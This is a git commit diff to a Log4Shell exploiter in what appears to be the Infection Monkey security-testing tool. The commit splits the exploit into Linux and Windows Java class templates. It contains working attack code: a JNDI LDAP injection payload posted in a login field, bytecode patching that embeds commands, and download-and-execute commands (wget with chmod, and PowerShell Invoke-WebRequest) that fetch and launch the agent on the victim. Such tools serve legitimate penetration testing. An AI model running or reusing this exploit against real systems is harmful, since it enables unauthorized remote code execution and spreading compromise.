Agent: use separate java classes for windows and linux in log4shell
Linux and windows targets should use different java classes, because one is compiled to be launched in /bin/bash, another in cmd.exe. We can't just inject the whole command, because Runtime.getRuntime().exec() interprets the string in strange ways
This commit is contained in:
parent
1884c6d767
commit
e69639b426
|
@ -7,10 +7,21 @@ import requests
|
||||||
|
|
||||||
from common.utils.exploit_enum import ExploitType
|
from common.utils.exploit_enum import ExploitType
|
||||||
from infection_monkey.exploit.log4shell_utils import LDAPExploitServer, build_exploit_bytecode
|
from infection_monkey.exploit.log4shell_utils import LDAPExploitServer, build_exploit_bytecode
|
||||||
|
from infection_monkey.exploit.log4shell_utils.exploit_builder import (
|
||||||
|
LINUX_EXPLOIT_TEMPLATE_PATH,
|
||||||
|
WINDOWS_EXPLOIT_TEMPLATE_PATH,
|
||||||
|
)
|
||||||
|
from infection_monkey.exploit.tools.helpers import get_monkey_depth
|
||||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||||
from infection_monkey.exploit.web_rce import WebRCE
|
from infection_monkey.exploit.web_rce import WebRCE
|
||||||
from infection_monkey.model import POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, VictimHost
|
from infection_monkey.model import (
|
||||||
|
LOG4SHELL_LINUX_COMMAND,
|
||||||
|
LOG4SHELL_WINDOWS_COMMAND,
|
||||||
|
MONKEY_ARG,
|
||||||
|
VictimHost,
|
||||||
|
)
|
||||||
from infection_monkey.network.tools import get_interface_to_target
|
from infection_monkey.network.tools import get_interface_to_target
|
||||||
|
from infection_monkey.utils.commands import build_monkey_commandline
|
||||||
from infection_monkey.utils.monkey_dir import get_monkey_dir_path
|
from infection_monkey.utils.monkey_dir import get_monkey_dir_path
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
@ -41,8 +52,7 @@ class Log4ShellExploiter(WebRCE):
|
||||||
return False
|
return False
|
||||||
logger.info("Started http server on %s", http_path)
|
logger.info("Started http server on %s", http_path)
|
||||||
|
|
||||||
commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD}
|
command = self.build_command(paths["dest_path"], http_path)
|
||||||
command = self.get_command(paths["dest_path"], http_path, commands)
|
|
||||||
|
|
||||||
java_class = self.build_java_class(command)
|
java_class = self.build_java_class(command)
|
||||||
class_http_server_ip = get_interface_to_target(self.host.ip_addr)
|
class_http_server_ip = get_interface_to_target(self.host.ip_addr)
|
||||||
|
@ -59,11 +69,9 @@ class Log4ShellExploiter(WebRCE):
|
||||||
ldap_thread = ldap.get_run_thread()
|
ldap_thread = ldap.get_run_thread()
|
||||||
ldap_thread.start()
|
ldap_thread.start()
|
||||||
|
|
||||||
payload = {"uname": LDAP_PAYLOAD, "password": "m0nk3y"}
|
payload = {"uname": self.build_ldap_payload(), "password": "m0nk3y"}
|
||||||
try:
|
try:
|
||||||
response = requests.post(
|
requests.post(Log4ShellExploiter.URLS[0], data=payload, timeout=5, verify=False)
|
||||||
Log4ShellExploiter.URLS[0], data=payload, timeout=5, verify=False
|
|
||||||
)
|
|
||||||
except requests.ReadTimeout:
|
except requests.ReadTimeout:
|
||||||
logger.error("Couldn't send request to the vulnerable machine")
|
logger.error("Couldn't send request to the vulnerable machine")
|
||||||
return False
|
return False
|
||||||
|
@ -78,8 +86,33 @@ class Log4ShellExploiter(WebRCE):
|
||||||
ldap.stop()
|
ldap.stop()
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
def build_ldap_payload(self):
|
||||||
|
interface_ip = get_interface_to_target(self.host.ip_addr)
|
||||||
|
return f"${{jndi:ldap://{interface_ip}:{Log4ShellExploiter.LDAP_PORT}/dn=Exploit}}"
|
||||||
|
|
||||||
|
# TODO remove duplication with infection_monkey.exploit.hadoop.HadoopExploiter.build_command
|
||||||
|
def build_command(self, path, http_path):
|
||||||
|
# Build command to execute
|
||||||
|
monkey_cmd = build_monkey_commandline(
|
||||||
|
self.host, get_monkey_depth() - 1, vulnerable_port=None
|
||||||
|
)
|
||||||
|
if "linux" in self.host.os["type"]:
|
||||||
|
base_command = LOG4SHELL_LINUX_COMMAND
|
||||||
|
else:
|
||||||
|
base_command = LOG4SHELL_WINDOWS_COMMAND
|
||||||
|
|
||||||
|
return base_command % {
|
||||||
|
"monkey_path": path,
|
||||||
|
"http_path": http_path,
|
||||||
|
"monkey_type": MONKEY_ARG,
|
||||||
|
"parameters": monkey_cmd,
|
||||||
|
}
|
||||||
|
|
||||||
def build_java_class(self, exploit_command: str) -> bytes:
|
def build_java_class(self, exploit_command: str) -> bytes:
|
||||||
return build_exploit_bytecode(exploit_command)
|
if "linux" in self.host.os["type"]:
|
||||||
|
return build_exploit_bytecode(exploit_command, LINUX_EXPLOIT_TEMPLATE_PATH)
|
||||||
|
else:
|
||||||
|
return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH)
|
||||||
|
|
||||||
def upload_monkey(self, url, commands=None):
|
def upload_monkey(self, url, commands=None):
|
||||||
pass
|
pass
|
||||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -3,7 +3,8 @@ from pathlib import Path
|
||||||
|
|
||||||
# This code has been adapted from https://github.com/alexandre-lavoie/python-log4rce
|
# This code has been adapted from https://github.com/alexandre-lavoie/python-log4rce
|
||||||
|
|
||||||
EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "Exploit.class.template"
|
LINUX_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "LinuxExploit.class.template"
|
||||||
|
WINDOWS_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "WindowsExploit.class.template"
|
||||||
INJECTION_TAG = "###"
|
INJECTION_TAG = "###"
|
||||||
|
|
||||||
|
|
||||||
|
@ -11,16 +12,13 @@ class InvalidExploitTemplateError(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
def build_exploit_bytecode(
|
def build_exploit_bytecode(payload_command: str, exploit_template_path: Path) -> bytes:
|
||||||
payload_command: str, exploit_template_path: Path = EXPLOIT_TEMPLATE_PATH
|
|
||||||
) -> bytes:
|
|
||||||
"""
|
"""
|
||||||
Build a payload used to exploit log4shell
|
Build a payload used to exploit log4shell
|
||||||
:param str payload_command: The command that will be executed on the remote host.
|
:param str payload_command: The command that will be executed on the remote host.
|
||||||
:param Path exploit_template_path: The path to a file containing a pre-compiled Java class with
|
:param Path exploit_template_path: The path to a file containing a pre-compiled Java class with
|
||||||
the placeholder "###". This placeholder will be overwritten
|
the placeholder "###". This placeholder will be overwritten
|
||||||
with the contents of payload_command. Defaults to
|
with the contents of payload_command.
|
||||||
`EXPLOIT_TEMPLATE_PATH`
|
|
||||||
:return: Java bytecode that will execute the payload
|
:return: Java bytecode that will execute the payload
|
||||||
:rtype: bytes
|
:rtype: bytes
|
||||||
"""
|
"""
|
||||||
|
@ -36,7 +34,7 @@ def _load_template_bytecode(exploit_template_path: Path) -> bytes:
|
||||||
|
|
||||||
if not template_bytecode.startswith(b"\xca\xfe\xba\xbe"):
|
if not template_bytecode.startswith(b"\xca\xfe\xba\xbe"):
|
||||||
raise InvalidExploitTemplateError(
|
raise InvalidExploitTemplateError(
|
||||||
f'The file "{EXPLOIT_TEMPLATE_PATH}" is not a compiled Java class'
|
f'The file "{exploit_template_path}" is not a compiled Java class'
|
||||||
)
|
)
|
||||||
|
|
||||||
return template_bytecode
|
return template_bytecode
|
||||||
|
|
|
@ -60,4 +60,16 @@ HADOOP_LINUX_COMMAND = (
|
||||||
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
|
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
LOG4SHELL_LINUX_COMMAND = (
|
||||||
|
"wget -O %(monkey_path)s %(http_path)s ;"
|
||||||
|
" chmod +x %(monkey_path)s ;"
|
||||||
|
" %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||||
|
# "touch /tmp/test_with_new"
|
||||||
|
)
|
||||||
|
|
||||||
|
LOG4SHELL_WINDOWS_COMMAND = (
|
||||||
|
'powershell -NoLogo -Command "'
|
||||||
|
"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing; "
|
||||||
|
' %(monkey_path)s %(monkey_type)s %(parameters)s"'
|
||||||
|
)
|
||||||
DOWNLOAD_TIMEOUT = 180
|
DOWNLOAD_TIMEOUT = 180
|
||||||
|
|
Loading…
Reference in New Issue